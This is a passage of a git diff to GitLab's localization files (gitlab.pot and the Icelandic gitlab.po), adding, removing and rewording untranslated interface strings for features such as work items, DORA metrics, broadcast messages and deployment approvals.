msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45128,6 +45802,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45220,6 +45897,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45251,6 +45931,9 @@ msgstr[0] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45263,6 +45946,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45287,9 +45973,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46022,10 +46705,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46471,9 +47154,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46559,6 +47254,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46568,7 +47266,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46601,7 +47299,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46655,6 +47353,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46676,6 +47380,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -46779,6 +47489,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -46911,9 +47624,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47004,6 +47714,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47043,9 +47756,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47061,7 +47771,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47154,7 +47864,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47182,6 +47892,9 @@ msgid "You have %{pendingMembersCount} pending member that needs approval."
msgid_plural "You have %{pendingMembersCount} pending members that need approval."
msgstr[0] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47299,6 +48012,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47452,8 +48168,9 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
msgid "YouTube"
msgstr ""
@@ -47690,6 +48407,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47717,7 +48437,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -47793,6 +48513,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -47991,6 +48714,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48223,10 +48949,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48376,9 +49105,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -48855,9 +49581,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49367,6 +50090,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49454,12 +50180,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -49864,6 +50584,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/is_IS/gitlab.po b/locale/is_IS/gitlab.po
index 96abee72767..7e85249d84c 100644
--- a/locale/is_IS/gitlab.po
+++ b/locale/is_IS/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: is\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
